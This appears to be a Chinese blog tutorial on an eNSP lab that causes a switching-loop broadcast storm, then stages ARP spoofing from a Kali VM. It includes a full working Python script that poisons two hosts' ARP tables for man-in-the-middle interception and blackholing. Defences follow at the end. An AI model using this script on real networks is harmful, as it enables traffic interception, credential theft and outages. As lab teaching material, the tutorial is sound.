ensp之广播风暴和ARP欺骗实验
网络拓扑图:(这里我们复用之前STP实验的拓扑图)

端口连接表:
| 本端设备 | 本端端口 | 对端设备 | 对端端口 | 链路类型 |
|---|---|---|---|---|
| LSW1 | G0/0/1 | LSW2 | G0/0/1 | Trunk |
| LSW1 | G0/0/2 | LSW3 | G0/0/1 | Trunk |
| LSW2 | G0/0/2 | LSW4 | G0/0/1 | Trunk |
| LSW3 | G0/0/2 | LSW5 | G0/0/1 | Trunk |
| LSW4 | G0/0/2 | LSW5 | G0/0/2 | Trunk |
| LSW4 | G0/0/3 | PC1 | 网卡 | Access |
| LSW4 | G0/0/4 | PC2 | 网卡 | Access |
| LSW5 | G0/0/3 | PC3 | 网卡 | Access |
pc1:192.168.1.1/24
pc2:192.168.1.2/24
pc3:192.168.1.3/24
测试pc1、pc2、pc3连通性:
PC>ping 192.168.1.2
Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=4 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=5 ttl=128 time=47 ms
--- 192.168.1.2 ping statistics ---
5 packet(s) transmitted
5 packet(s) received
0.00% packet loss
round-trip min/avg/max = 46/46/47 ms
PC>ping 192.168.1.3
Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.3: bytes=32 seq=1 ttl=128 time=141 ms
From 192.168.1.3: bytes=32 seq=2 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=3 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=4 ttl=128 time=156 ms
From 192.168.1.3: bytes=32 seq=5 ttl=128 time=156 ms
--- 192.168.1.3 ping statistics ---
5 packet(s) transmitted
5 packet(s) received
0.00% packet loss
round-trip min/avg/max = 125/140/156 ms
一、广播风暴
交换机的配置:华为交换机通常默认启用了更高级的MSTP(多生成树协议)。为了制造环路,我们需要全局禁用所有交换机的STP功能。这是为了验证在没有STP的环境下,环路会引发什么问题。
bash
<Huawei>system-view
[Huawei]un in en #关闭提示信息。这里是简写,完整的命令是undo info-center enable
[Huawei]sysname LSW1
[LSW1]undo stp enable
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
<Huawei>system-view
[Huawei]un in en
[Huawei]sysname LSW2
[LSW2]undo stp enable
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
<Huawei>system-view
[Huawei]un in en
[Huawei]sysname LSW3
[LSW3]undo stp enable
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
<Huawei>system-view
[Huawei]un in en
[Huawei]sysname LSW4
[LSW4]undo stp enable
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
<Huawei>system-view
[Huawei]un in en
[Huawei]sysname LSW5
[LSW5]undo stp enable
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
配置完成后,环路就形成了。
1.3 观察环路现象
pc1和pc2和pc3之间已经无法正常通信。
PC>ping 192.168.1.2
Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
Request timeout!
Request timeout!
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=47 ms
Request timeout!
Request timeout!
--- 192.168.1.2 ping statistics ---
5 packet(s) transmitted
1 packet(s) received
80.00% packet loss
round-trip min/avg/max = 0/47/47 ms
PC>ping 192.168.1.3
Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.1: Destination host unreachable
Request timeout!
Request timeout!
Request timeout!
Request timeout!
Request timeout!
--- 192.168.1.3 ping statistics ---
5 packet(s) transmitted
0 packet(s) received
100.00% packet loss

抓包验证:点击数据抓包,选择LSW1的001端口,弹出的wireshark界面直观的看出数千个ARP广播包。PC1发出一个广播请求,比如ARP请求,这个请求会在5台交换机组成的环路里被无限循环泛洪。每次经过一个交换机,MAC地址表都会被刷新,导致MAC地址表震荡,设备忙于处理大量重复帧,最终耗尽网络带宽和设备性能。


执行以下命令恢复环路。也可以直接关闭所有设备再打开,效果是一样的。
[LSW1]stp enable
[LSW2]stp enable
[LSW3]stp enable
[LSW4]stp enable
[LSW5]stp enable
PC1:
PC>ping 192.168.1.2
Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=63 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=4 ttl=128 time=63 ms
From 192.168.1.2: bytes=32 seq=5 ttl=128 time=47 ms
--- 192.168.1.2 ping statistics ---
5 packet(s) transmitted
5 packet(s) received
0.00% packet loss
round-trip min/avg/max = 46/53/63 ms
PC>ping 192.168.1.3
Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.3: bytes=32 seq=1 ttl=128 time=141 ms
From 192.168.1.3: bytes=32 seq=2 ttl=128 time=140 ms
From 192.168.1.3: bytes=32 seq=3 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=4 ttl=128 time=156 ms
From 192.168.1.3: bytes=32 seq=5 ttl=128 time=109 ms
--- 192.168.1.3 ping statistics ---
5 packet(s) transmitted
5 packet(s) received
0.00% packet loss
round-trip min/avg/max = 109/134/156 ms
PC1和PC2、PC3之间的通信恢复。
必须再用PC2手动ping PC1:强制触发 ARP 学习!(破除eNSP mac地址学习的假死,这是我后面实验的时候踩得坑,提前提醒解决)
PC>ping 192.168.1.1
Ping 192.168.1.1: 32 data bytes, Press Ctrl_C to break
From 192.168.1.1: bytes=32 seq=1 ttl=128 time=63 ms
From 192.168.1.1: bytes=32 seq=2 ttl=128 time=47 ms
From 192.168.1.1: bytes=32 seq=3 ttl=128 time=47 ms
From 192.168.1.1: bytes=32 seq=4 ttl=128 time=47 ms
看到LSW4以下显示即可开始下一步:
[LSW4]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address VLAN/ PEVLAN CEVLAN Port Type LSP/LSR-ID
VSI/SI MAC-Tunnel
-------------------------------------------------------------------------------
5489-9820-2e7c 1 - - GE0/0/4 dynamic 0/-
5489-9899-165e 1 - - GE0/0/3 dynamic 0/-
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 2
剩下的STP、RSTP、MSTP实验就不贴出来了,感兴趣的可以去看:
https://blog.csdn.net/weixin_44923273/article/details/161145350
二、ARP 欺骗
(ARP Spoofing / ARP Poisoning)是一种网络攻击行为。攻击者发送伪造的 ARP 报文,欺骗其他设备将本该发往正确 MAC 的流量转到攻击者(或错误)的 MAC 地址,实现中间人攻击、断网等。特征:ARP 表被篡改,通信被截获或中断,不一定引起广播风暴。
| 项目 | 广播风暴 | ARP 病毒 |
|---|---|---|
| 类型 | 网络故障现象 | 网络攻击手段 |
| 根本原因 | 二层环路 | 恶意 ARP 报文 |
| 是否依赖病毒 | 否 | 是 |
| 典型解决方法 | 启用 STP / 破除环路 | 绑定静态 ARP、部署 DAI 等 |
ARP 欺骗能造成的危害有:
- 中间人攻击:攻击者潜入两台主机之间,将原本直接的通信都经过自己,从而被窃听或篡改。
- 窃取信息:这是最危险的核心目的。攻击者会窃取你的登录账号、密码,甚至网银信息。
- 网络断网与卡顿:导致被攻击的电脑频繁掉线,或者网速变得极不稳定。
为防止误操作导致的风险,建议本次实验在本地网络进行。不要连接到互联网。后面的ARP欺骗也使用离线脚本进行。
我们已经有的软件是VMware17.6,kali-linux-2026.1-installer-amd64.iso.接下来:
第一步:用 VMware 打开 Kali 镜像文件
打开 VMware Workstation 17.6,点击首页的 "创建新的虚拟机" 。选择 "典型(推荐)" ,下一步。选择 "安装程序光盘映像文件(iso)" ,点"浏览"找到你下载的 kali-linux-2026.1-installer-amd64.iso,下一步。客户机操作系统选 "Linux" ,版本选 "Debian 10.x 64 位" (因为 Kali 基于 Debian,选这项兼容性最好),下一步。给虚拟机起个名字,比如 Kali-ARP,位置建议放在空间足够的盘(至少留 30GB),下一步。磁盘大小默认 20GB 足够用,选择 "将虚拟磁盘存储为单个文件" ,下一步。点击 "完成"。
第二步:调整硬件配置,保证流畅不卡
在刚才的完成界面,或者虚拟机列表里右键这台虚拟机 → 设置,内存 :2GB (2048 MB) 。处理器 :1 颗处理器,2 个核心 。网络适配器 :桥接模式。移除USB 控制器、声卡、打印机**,设置完成后点 **"确定"。
第三步:安装 Kali Linux
- 在 VMware 中点击 "开启此虚拟机",会从刚才的 iso 启动,出现 Kali 安装菜单。
- 选择 "Graphical install" (图形化安装),回车。语言选 English避免兼容问题 ,一路下一步:国家和地区选 "usa"。键盘选"American English"。configure the network选择yes,下一步。让你填写 DNS 服务器的 IP 地址 ,什么都不填,直接留空,按回车继续。主机名填
kali,域名留空。用户名和密码自己设,比如用户名kali,密码123456。时间随便选一个。继续。 - 磁盘分区选 "使用整个磁盘",然后选唯一的虚拟磁盘,分区方案选 "将所有文件放在同一个分区"**,确认后选"是"写入磁盘。是否把以上修改写入磁盘?"*选择是,继续。
- 软件选择时,默认勾选 "Xfce 桌面环境"和 top10 就行,不要全选。继续。等安装完成。后面一个问题选择yes。安装引导器选择
/dev/sda。安装完毕会提示重启,重启后进入登录界面。输入用户名kali,密码123456,登录。
第四步:给 Kali 配上静态 IP
手动给 Kali 配置之前规划好的 IP 192.168.1.100/24。
-
登录后,打开终端(在 桌面空白处 单击鼠标右键,点击 "Open Terminal Here" )
-
先查看一下网卡名字:
bash┌──(kali㉿kali)-[~/Desktop] └─$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:f7:33:07 brd ff:ff:ff:ff:ff:ff inet6 fe80::20c:29ff:fef7:3307/64 scope link noprefixroute valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:f7:33:11 brd ff:ff:ff:ff:ff:ff -
临时设置 IP(下次重启会失效,实验期间够用):
bashsudo ip addr add 192.168.1.100/24 dev eth0 [sudo] password for kali: 123456 sudo ip link set eth0 up点击顶部菜单 "编辑" → "虚拟网络编辑器" 。选中 VMnet1 (仅主机模式)。下方找到 "使用本地 DHCP 服务将 IP 地址分配给虚拟机" ,把前面的勾 取消掉 。子网IP:192.168.1.0,子网掩码:255.255.255.0。点击 "应用" → "确定" 。


配置 eNSP 的"云"设备:
升级实验拓扑(引入云与虚拟机):为了模拟攻击,我们在 eNSP 的拓扑中引入一台真正的"黑客"虚拟机。拓扑图中找到云朵的图标,拖到LSW2和LSW4之间。

给宿主机的 VMnet1 配置静态IP
Win + R→ 输入ncpa.cpl→ 回车打开网络连接,找到VMware Network Adapter VMnet1→ 右键 → 属性,双击Internet 协议版本 4 (TCP/IPv4),选择 "使用下面的IP地址",填写:
配置项 值 IP地址 192.168.1.254子网掩码 255.255.255.0默认网关 留空 DNS 留空 1、双击那个 云的图标 ,弹出配置窗口。绑定信息"** 选择**
VMware Network Adapter VMnet1**。点 "增加" 。 这时映射表里出现第二条记录,通道另一端是这个虚拟网卡。之前把 Kali 的网络设为 仅主机模式,它对应的网卡在你的物理电脑上就叫 VMware Network Adapter VMnet1-IP: 192.168.1.254。2、绑定信息点击udp,增加,出现第二条绑定信息。多选几条都不影响。端口映射表那里配置一定要注意!eNSP Cloud 的端口映射表 是 eNSP 与 VMware 桥接时 最高频、最隐蔽的坑 。只绑定网卡,漏了双向端口映射,一定会导致ICMP(单播)偶尔能通(靠广播泛洪侥幸到达),但ARP广播必丢!

关闭 Windows 防火墙:按下
Win + R,输入control后回车,打开控制面板。将右上角的"查看方式"改为 "大图标" 。找到并打开 "Windows Defender 防火墙" 。点击左侧的 "启用或关闭 Windows Defender 防火墙" 。在"专用网络设置"和"公用网络设置"下,都选择 "关闭 Windows Defender 防火墙(不推荐)"。点击"确定"保存。
第 3 步:连接云到交换机,配置交换机端口
-
选择左边的copper线,把鼠标移到云的图标上,把这个口连接到 LSW4 的空接口的 G0/0/5。

-
在 LSW4 的命令行里配置这个端口为 access,让它加入 VLAN 1(所有设备默认都在 VLAN 1):
[LSW4]interface GigabitEthernet 0/0/5 [LSW4-GigabitEthernet0/0/5]port link-type access [LSW4-GigabitEthernet0/0/5]port default vlan 1 [LSW4-GigabitEthernet0/0/5]quit [LSW4]display interface GigabitEthernet 0/0/5 GigabitEthernet0/0/5 current state : UP Line protocol current state : UP确认这个端口是 UP 状态。
第 4 步:测试连通性
回到 Kali 虚拟机的终端里,测试它和 PC1, PC2,PC3的连通性:
┌──(kali㉿kali)-[~/Desktop] └─$ ping -c 3 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=128 time=64.4 ms 64 bytes from 192.168.1.1: icmp_seq=2 ttl=128 time=23.9 ms 64 bytes from 192.168.1.1: icmp_seq=3 ttl=128 time=39.8 ms --- 192.168.1.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 23.874/42.709/64.438/16.686 ms ┌──(kali㉿kali)-[~/Desktop] └─$ ping -c 3 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=56.3 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=128 time=27.5 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=128 time=26.6 ms --- 192.168.1.2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 26.594/36.797/56.255/13.764 ms ┌──(kali㉿kali)-[~/Desktop] └─$ ping -c 3 192.168.1.3 PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data. 64 bytes from 192.168.1.3: icmp_seq=1 ttl=128 time=226 ms 64 bytes from 192.168.1.3: icmp_seq=2 ttl=128 time=122 ms 64 bytes from 192.168.1.3: icmp_seq=3 ttl=128 time=157 ms --- 192.168.1.3 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 121.651/168.038/225.625/43.179 ms
3、模拟 ARP 攻击
对 PC1(192.168.1.1) 和 PC2(192.168.1.2) 实施 双向 ARP 中间人攻击(MITM),并完成现象验证与抓包分析。
🛠️ 第一步:Kali 攻击前准备
-
开启 IP 转发:sudo sysctl -w net.ipv4.ip_forward=1(⚠️关键:不开会导致流量被 Kali 丢弃,变成"断网攻击"而非"窃听攻击")
bash┌──(kali㉿kali)-[~/Desktop] └─$ sudo sysctl -w net.ipv4.ip_forward=1 net.ipv4.ip_forward = 1 -
确认 Kali MAC 地址:ip link show eth0 | grep ether # 记下类似 00:0c:29:xx:xx:xx 的地址(用于后续对比 ARP 表毒化效果)
bash┌──(kali㉿kali)-[~/Desktop] └─$ ip link show eth0 | grep ether link/ether 00:0c:29:f7:33:07 brd ff:ff:ff:ff:ff:ff离线 ARP 欺骗脚本
用这个纯 Python 标准库脚本,直接实现双向 ARP 欺骗。
1️⃣ 创建脚本
bashnano ~/Desktop/offline_arp_spoof.py2️⃣ 粘贴代码(已配置好你的实验环境)
python#!/usr/bin/env python3 import socket import struct import time import os import sys # ========== 实验配置 ========== IFACE = "eth0" # 实验网卡 TARGET1 = "192.168.1.1" # PC1 TARGET2 = "192.168.1.2" # PC2 KALI_IP = "192.168.1.100" # Kali 实验 IP SPOOF_INTERVAL = 2 # 发送间隔 # ============================ def get_mac(iface): """读取网卡 MAC""" with open(f"/sys/class/net/{iface}/address") as f: return f.read().strip() def eth_frame(dst_mac, src_mac, ether_type, payload): """构造以太网帧""" dst = bytes.fromhex(dst_mac.replace(":", "")) src = bytes.fromhex(src_mac.replace(":", "")) return dst + src + struct.pack("!H", ether_type) + payload def arp_packet(op, src_mac, src_ip, dst_mac, dst_ip): """构造 ARP 包(op=1 请求,op=2 回复)""" hwtype = 1 # Ethernet proto = 0x0800 # IPv4 hlen = 6 plen = 4 # ARP 头部 + 数据 arp = struct.pack("!HHBBH", hwtype, proto, hlen, plen, op) arp += bytes.fromhex(src_mac.replace(":", "")) # sender MAC arp += socket.inet_aton(src_ip) # sender IP arp += bytes.fromhex(dst_mac.replace(":", "")) # target MAC arp += socket.inet_aton(dst_ip) # target IP return arp def send_arp_spoof(iface, target_ip, fake_src_ip, fake_src_mac): """发送伪造 ARP 回复:告诉 target,fake_src_ip 的 MAC 是 fake_src_mac""" # 广播 MAC broadcast = "ff:ff:ff:ff:ff:ff" # 构造 ARP 回复(op=2) arp = arp_packet(2, fake_src_mac, fake_src_ip, broadcast, target_ip) # 以太网帧 frame = eth_frame(broadcast, fake_src_mac, 0x0806, arp) # 0x0806 = ARP # 原始套接字发送 sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) sock.bind((iface, 0)) sock.send(frame) sock.close() def main(): kali_mac = get_mac(IFACE) print(f"[*] Offline ARP Spoofing on {IFACE}") print(f"[*] Kali MAC: {kali_mac}") print(f"[*] Poisoning: {TARGET1} <-> {TARGET2}") print("[*] Press Ctrl+C to stop") # 开启系统转发(中间人关键!) os.system("sysctl -w net.ipv4.ip_forward=1") try: while True: # 双向欺骗 # 告诉 PC1: PC2 的 MAC 是 Kali send_arp_spoof(IFACE, TARGET1, TARGET2, kali_mac) # 告诉 PC2: PC1 的 MAC 是 Kali send_arp_spoof(IFACE, TARGET2, TARGET1, kali_mac) time.sleep(SPOOF_INTERVAL) except KeyboardInterrupt: print("\n[*] Stopped.") os.system("sysctl -w net.ipv4.ip_forward=0") if __name__ == "__main__": if os.geteuid() != 0: print("[-] Please run with sudo") sys.exit(1) main()- 粘贴完代码后,按
Ctrl + O(字母 O,不是数字 0)→ 屏幕底部会提示File Name to Write: /root/Desktop/offline_arp_spoof.py - 直接按
Enter确认文件名,按Ctrl + X→ 退出编辑器,回到命令行
回到命令行后执行:ls -l ~/Desktop/offline_arp_spoof.py
bash┌──(kali㉿kali)-[~/Desktop] └─$ ls -l ~/Desktop/offline_arp_spoof.py -rw-rw-r-- 1 kali kali 2738 May 19 01:05 /home/kali/Desktop/offline_arp_spoof.py如果显示文件大小(通常 2~3KB)且没有报错,说明保存成功。
下一步:直接运行脚本
bash# 1. 确保 eth0 有实验 IP(没有就重新配) sudo ip addr add 192.168.1.100/24 dev eth0 # 2. 运行攻击脚本 sudo python3 ~/Desktop/offline_arp_spoof.py✅ 看到以下输出说明开始工作:
[*] Offline ARP Spoofing on eth0 [*] Kali MAC: 00:0c:29:f7:33:07 [*] Poisoning: 192.168.1.1 <-> 192.168.1.2 [*] Press Ctrl+C to stop此时去 eNSP 的 PC1 执行
ping 192.168.1.2 -t和arp -a,就能验证攻击效果了。脚本会一直运行,想停止时按
Ctrl + C即可。PC1: PC>ping 192.168.1.2 -t Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break Request timeout! Request timeout! Request timeout! From 192.168.1.2: bytes=32 seq=4 ttl=127 time=63 ms From 192.168.1.2: bytes=32 seq=5 ttl=127 time=63 ms From 192.168.1.2: bytes=32 seq=6 ttl=127 time=63 ms From 192.168.1.2: bytes=32 seq=7 ttl=127 time=47 ms From 192.168.1.2: bytes=32 seq=8 ttl=127 time=93 ms From 192.168.1.2: bytes=32 seq=9 ttl=127 time=94 ms From 192.168.1.2: bytes=32 seq=10 ttl=127 time=78 ms From 192.168.1.2: bytes=32 seq=11 ttl=127 time=47 ms --- 192.168.1.2 ping statistics --- 11 packet(s) transmitted 8 packet(s) received 27.27% packet loss round-trip min/avg/max = 0/68/94 ms PC>arp -a Internet Address Physical Address Type 192.168.1.100 00-0C-29-F7-33-07 dynamic 192.168.1.1 00-0C-29-F7-33-07 dynamic 192.168.1.2 00-0C-29-F7-33-07 dynamic效果:
192.168.1.2对应的 MAC 地址 不再是 PC2 的真实 MAC,而是 Kali 的 MAC 地址 。 PC2 的 ARP 表同理也会被毒化,显示 PC1 的 IP 对应 Kali 的 MAC00:0c:29:f7:33:07Kali 抓包:
sudo tcpdump -i eth0 -nn icmp→ 看到双向流量:┌──(kali㉿kali)-[~/Desktop] └─$ sudo tcpdump -i eth0 -nn icmp [sudo] password for kali: tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 01:10:52.627321 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 2843, seq 1, length 40 01:10:52.627364 IP 192.168.1.100 > 192.168.1.1: ICMP redirect 192.168.1.2 to host 192.168.1.2, length 68 01:10:52.627489 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 2843, seq 1, length 40 01:10:52.670029 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 2843, seq 1, length 40 01:10:52.670046 IP 192.168.1.100 > 192.168.1.2: ICMP redirect 192.168.1.1 to host 192.168.1.1, length 68 01:10:52.670079 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 2843, seq 1, length 40 01:10:53.706005 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 3099, seq 2, length 40 01:10:53.706053 IP 192.168.1.100 > 192.168.1.1: ICMP redirect 192.168.1.2 to host 192.168.1.2, length 68 01:10:53.706420 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 3099, seq 2, length 40 01:10:53.732177 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 3099, seq 2, length 40 01:10:53.732225 IP 192.168.1.100 > 192.168.1.2: ICMP redirect 192.168.1.1 to host 192.168.1.1, length 68 01:10:53.732352 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 3099, seq 2, length 405️⃣ 模拟断网攻击
新开终端执行:sudo sysctl -w net.ipv4.ip_forward=0
bash┌──(kali㉿kali)-[~/Desktop] └─$ sudo sysctl -w net.ipv4.ip_forward=0 net.ipv4.ip_forward = 0PC1 ping PC2 → 100% 超时,完美演示"断网攻击"。
PC1: PC>ping 192.168.1.2 -t Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break Request timeout! Request timeout! Request timeout! Request timeout! Request timeout! Request timeout! --- 192.168.1.2 ping statistics --- 6 packet(s) transmitted 0 packet(s) received 100.00% packet loss - 粘贴完代码后,按
第四步:停止攻击 & 环境恢复
1️⃣ 停止 Kali 攻击脚本
在运行 offline_arp_spoof.py 的终端中,直接按 Ctrl + C。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo python3 ~/Desktop/offline_arp_spoof.py
[*] Offline ARP Spoofing on eth0
[*] Kali MAC: 00:0c:29:f7:33:07
[*] Poisoning: 192.168.1.1 <-> 192.168.1.2
[*] Press Ctrl+C to stop
net.ipv4.ip_forward = 1
^C
[*] Stopped.
net.ipv4.ip_forward = 0
✅ 脚本已内置中断处理,会自动执行
sysctl -w net.ipv4.ip_forward=0,停止流量转发。验证转发已关闭:返回0表示关闭成功。
bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /proc/sys/net/ipv4/ip_forward
0
2️⃣ 清理 Kali 网络栈残留
bash
# 清除 ARP 缓存(避免残留毒化条目干扰下次实验)
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ip neigh flush dev eth0
[sudo] password for kali:
3️⃣ 恢复 eNSP 中 PC 的 ARP 表
eNSP 虚拟 PC 的 ARP 缓存不会立即自动过期,需手动清理:
在 PC1 终端执行:PC> arp -d 192.168.1.2
在 PC2 终端执行:PC> arp -d 192.168.1.1
验证 :执行 PC> arp -a,此时应显示真实的设备 MAC,不再是 00-0C-29-F7-33-07。
4️⃣ 恢复交换机与拓扑状态
-
重新启用 STP(恢复二层防环机制):
bash[LSW1]stp enable [LSW2]stp enable [LSW3]stp enable [LSW4]stp enable [LSW5]stp enable -
清理 MAC 地址表(可选,加速生成树重新收敛):
bash<LSW1>reset mac-address dynamic <LSW2>reset mac-address dynamic <LSW3>reset mac-address dynamic <LSW4>reset mac-address dynamic <LSW5>reset mac-address dynamic(系统提示确认时输入
y) -
移除 Cloud 设备 (若本期实验结束):
断开 Cloud 与 LSW4 的连线 → 双击 Cloud 删除 UDP 绑定记录 → 右键拓扑图删除 Cloud 图标。
5️⃣ 最终连通性验证
在 PC1 执行持续 ping 测试:
PC> ping 192.168.1.2 -t
✅ 成功标志:
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=47 ms
...
延迟稳定在 40~60ms,0% 丢包,说明网络已完全恢复正常转发路径。
🛡️ 延伸:防御思路
华为交换机可通过以下机制缓解 ARP 欺骗:
bash
[LSW4] arp anti-attack entry check enable # 开启 ARP 表项严格检查
[LSW4] arp anti-attack rate-limit enable # 开启 ARP 报文限速防泛洪
[LSW4] dhcp snooping enable # 配合 DAI 实现动态 ARP 检测
总结
| 观察维度 | 正常网络状态 | ARP 欺骗攻击中 |
|---|---|---|
| PC1 的 ARP 表 | PC2 IP → PC2 真实 MAC | PC2 IP → Kali 的 MAC |
| 流量实际路径 | PC1 ↔ 交换机 ↔ PC2 | PC1 → 交换机 → Kali → 交换机 → PC2 |
| Wireshark 抓包 | 仅看到两端直通信的帧 | Kali 网卡同时收到双向的 ICMP/ARP 包 |
| 关闭 ip_forward 后 | 通信正常 | 100% 丢包(模拟断网/DoS) |
记得保存。这个大实验从广播风暴的出现,到STP、RSTP、MSTP协议解决广播风暴,再到人为制造的ARP欺骗导致的广播风暴的防御和学习,本次实验即将结束。
如果还有兴趣,可以继续下一个拓展实验:DNS劫持。DNS劫持是ARP欺骗的一个重要应用。例如某部门员工反馈在知名网站登录页面输入用户名和密码之后,点击登录无反应,更换终端PC的DNS后登录正常。直接输入IP地址也能正常登录。